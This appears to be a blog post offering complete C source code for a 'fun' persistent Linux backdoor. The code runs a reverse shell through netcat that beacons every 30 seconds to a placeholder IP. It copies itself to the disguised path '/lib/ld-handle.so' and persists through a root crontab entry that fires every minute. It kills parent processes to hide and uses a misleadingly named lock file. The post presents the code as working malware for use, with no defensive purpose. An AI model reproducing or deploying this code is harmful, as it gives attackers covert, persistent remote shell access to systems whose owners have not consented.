Here’s a fun program that persistently backdoors a system.
Must run as root if you want the listener to be persistent. Of course it can be modified to use a normal user.
Utilizes a file lock to ensure only one instance of the program is running.
Forks itself, the child is a listener, and the parent is a beacon (double the backdoor fun!)
Kills the cron process (not the daemon) so there’s no hanging cron shell and disassociates itself from cron.
Copies its executable into a “normal” looking name and place.
Persists using cron-job that runs every minute.
Port hops after its connected to (not a keep-alive netcat listener, but it constantly restarts netcat)
#include<stdio.h> #include<stdlib.h> #include<time.h> #include<string.h> #include<sys/file.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<signal.h> #define PLEN 8 void main_process(char *named_pipe,pid_t parent_pid); void beacon(char *named_pipe, int interval_in_seconds); int check_file_lock(void); int random_port_range(int min,int max); void generate_alphanumeric(char *s, int length); void make_persistent(char** argv); void hide_while_running(int ppid); int main(int argc, char** argv) { check_file_lock(); pid_t forked_pid; pid_t parent_pid = getppid(); char named_pipe_dir[] = "/tmp/"; int np_buf = strlen(named_pipe_dir)+PLEN+1; char listen_pipe[np_buf]; char beacon_pipe[np_buf]; strncpy(listen_pipe,named_pipe_dir,np_buf); strncpy(beacon_pipe,named_pipe_dir,np_buf); srand(time(NULL)); generate_alphanumeric(listen_pipe, PLEN); generate_alphanumeric(beacon_pipe, PLEN); make_persistent(argv); mkfifo(listen_pipe, 0666); mkfifo(beacon_pipe, 0666); forked_pid = fork(); if (forked_pid == 0) { main_process(listen_pipe,parent_pid); } else { //Socket data is coded into beacon function int interval_in_seconds = 30; beacon(beacon_pipe,interval_in_seconds); } remove(listen_pipe); remove(beacon_pipe); return 0; } void main_process(char *named_pipe,pid_t parent_pid) { //Sets up a listener on a random port (defined in the while loop). Shovels out a shell. //Of note, does not use -k so the port will change after each connection. int listen_port; char listener_command[60+strlen(named_pipe)*2]; //Magic number 60 refers to the rest of the command run by system() below. hide_while_running(parent_pid); /*while(1) { listen_port = random_port_range(4000,4500); snprintf(listener_command,sizeof(listener_command), "/bin/bash 0<%s | nc -l -p %d 1>%s", named_pipe, listen_port, named_pipe); system(listener_command); }*/ } void beacon(char *named_pipe, int interval_in_seconds) { //Parent process. Beacons out using nc every <interval_in_seconds>. int beacon_port = 54311; char beacon_dst[] = "1.2.3.4"; char beacon_command[60+strlen(named_pipe)*2]; snprintf(beacon_command,sizeof(beacon_command), "/bin/bash 0<%s | nc %s %d 1>%s", named_pipe, beacon_dst, beacon_port, named_pipe); printf("Beacon started\n"); while(1) { system(beacon_command); sleep(interval_in_seconds); } printf("Beacon ended\n"); } int random_port_range(int min,int max) { //Just picks a random number between min and max and returns it srand(time(NULL)); int range = max - min + 1; int result = (rand()%range)+min; return result; } void generate_alphanumeric(char *s, int length) { //Appends <length> random characters to the end of string "s" followed by a \0. Make sure you have enough space in your character array..... static const char alphanum[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; int start = strlen(s); //i is started here because this is the length of directory name (ie. /tmp/ = 5) //starting on 5 (position 6 in the array), wipes out the \0 and continues our string int i; for (i = start; i < length + start; ++i) { s[i] = alphanum[rand() % (sizeof(alphanum)-1)]; } s[length + start] = '\0'; } void make_persistent(char** argv) { //This function makes persistent by copying the executable (argv[0]) into a known location and adding it as a cron job char new_path[] = "/lib/ld-handle.so"; if (access(new_path, F_OK ) == -1) { char cp_command[strlen(argv[0])+strlen(new_path)+5]; //vulnerability here (relative path) snprintf(cp_command,sizeof(cp_command),"cp %s %s",argv[0],new_path); system(cp_command); } int check_cron = system("grep /lib/ld-handle.so /var/spool/cron/crontabs/root 1>/dev/null 2>&1"); if (check_cron > 0) { FILE *cron_file = fopen("/var/spool/cron/crontabs/root","a"); fprintf(cron_file,"\n* * * * * /lib/ld-handle.so\n"); fclose(cron_file); } system("service cron start"); system("service cron reload"); } void hide_while_running(pid_t ppid) { //This function kills the parents ppid and ppid of the original program run. If started by cron, this will be a cron process. //If you run this program, it will kill your shell. char grep_command[50]; snprintf(grep_command,sizeof(grep_command),"grep PPid /proc/%d/status | cut -d: -f 2",ppid); //Running a grep command to find this processes ppid. This will be a cron process (not the daemon) if started by cron FILE *fp = popen(grep_command,"r"); char *response = NULL; size_t len = 0; //getline gets the response from the grep command, and puts the data into response getline(&response, &len, fp); pclose(fp); //turn the response into an int so we can send a kill signal int pid_to_kill = atoi(response); printf("PPID to kill: %s\n",response); kill(pid_to_kill, SIGTERM); kill(ppid, SIGTERM); if (access("/bin/ps2", F_OK ) == -1) { //system("cp /bin/ps /bin/ps2"); printf("HIDE!"); } } int check_file_lock(void) { //Trys to lock a file. If its already locked, program exits. This is so it only runs once. int lockfile = open("/tmp/apparmor.lck",O_CREAT | O_RDWR, 0666); int lock_status = flock(lockfile, LOCK_EX | LOCK_NB); printf("LOCK STATUS: %d\n",lock_status); if (lock_status < 0) { exit(1); } return 0; }
C Programming – Persistent Backdoor